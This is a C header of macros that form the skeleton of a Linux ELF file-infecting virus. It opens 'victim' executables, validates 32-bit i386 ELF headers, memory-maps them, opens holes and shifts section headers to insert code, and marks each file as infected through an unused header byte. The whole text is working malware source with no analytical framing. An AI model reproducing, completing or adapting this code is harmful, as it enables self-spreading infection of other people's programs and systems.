#define	MIN_VICTIM_SIZE	1024
#define	MAX_VICTIM_SIZE	3*1024*1024
#define	ELFOSABI_TARGET	ELFOSABI_LINUX
#define	PAGE_SIZE	4096

#define	MAKE_HOLE(off,size) do {			\
	ftruncate(h,l+size);				\
	m = (char*)mremap(m,l,l + size, 0);		\
	if (m == MAP_FAILED) {				\
		goto _close;				\
	}						\
	if (off < l)					\
		memmove(m+off+size, m+off, l-off);	\
	l += size;					\
} while(0)
#define	SHIFT_SHDRS(offset,delta) do {			\
	if (ehdr->e_shoff >= offset)			\
		ehdr->e_shoff += delta;			\
	shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);	\
	for (i = 0; i < ehdr->e_shnum; i++)		\
		if (shdr[i].sh_offset >= offset)	\
			shdr[i].sh_offset += delta;	\
} while(0)

#define	INFECT_INIT	\
static int infect(char *filename)			\
{							\
	int h, l, i;					\
	char *m;					\
	Elf32_Ehdr *ehdr;				\
	Elf32_Phdr *phdr;				\
	Elf32_Shdr *shdr;				\
	/* open victim, check size, mmap... */		\
	if ((h = open(filename, 2)) < 0)		\
		return 0;				\
	if ((l = lseek(h, 0, 2)) < MIN_VICTIM_SIZE || l > MAX_VICTIM_SIZE)	\
		goto _close;				\
	m = (void*)mmap(0x1000, l, PROT_READ|PROT_WRITE, MAP_SHARED, h, 0);	\
	if (m == MAP_FAILED)				\
		goto _close;				\
	/* check ELF header */				\
	ehdr = (Elf32_Ehdr*)m;				\
	phdr = (Elf32_Phdr*)(m + ehdr->e_phoff);	\
	shdr = (Elf32_Shdr*)(m + ehdr->e_shoff);	\
	if (	*(uint32_t*)ehdr->e_ident != 0x464c457f ||	\
		ehdr->e_ident[EI_CLASS] != ELFCLASS32 ||	\
		ehdr->e_ident[EI_DATA] != ELFDATA2LSB ||	\
		ehdr->e_type != ET_EXEC ||			\
		ehdr->e_machine != EM_386 ||			\
		ehdr->e_version != EV_CURRENT ||		\
		ehdr->e_ehsize != sizeof(Elf32_Ehdr) ||		\
		ehdr->e_phentsize != sizeof(Elf32_Phdr) ||	\
		ehdr->e_phnum > 32 || /* suspicious */		\
		ehdr->e_shnum > 128 || /* suspicious */		\
		(ehdr->e_phoff + sizeof(Elf32_Phdr) * ehdr->e_phnum) > l ||	\
		(ehdr->e_ident[EI_OSABI] != ELFOSABI_NONE && 	\
		ehdr->e_ident[EI_OSABI] != ELFOSABI_TARGET) ||	\
		ehdr->e_shentsize != sizeof(Elf32_Shdr) ||	\
		(ehdr->e_shoff + sizeof(Elf32_Shdr) * ehdr->e_shnum) > l	\
	) goto _unmap;					\
	/* already infected? */				\
	if (m[15])					\
		goto _unmap;

#define	INFECT_FINI					\
	m[15]++;					\
_unmap:	munmap(m, l);					\
_close:	close(h);					\
	return 0;					\
}
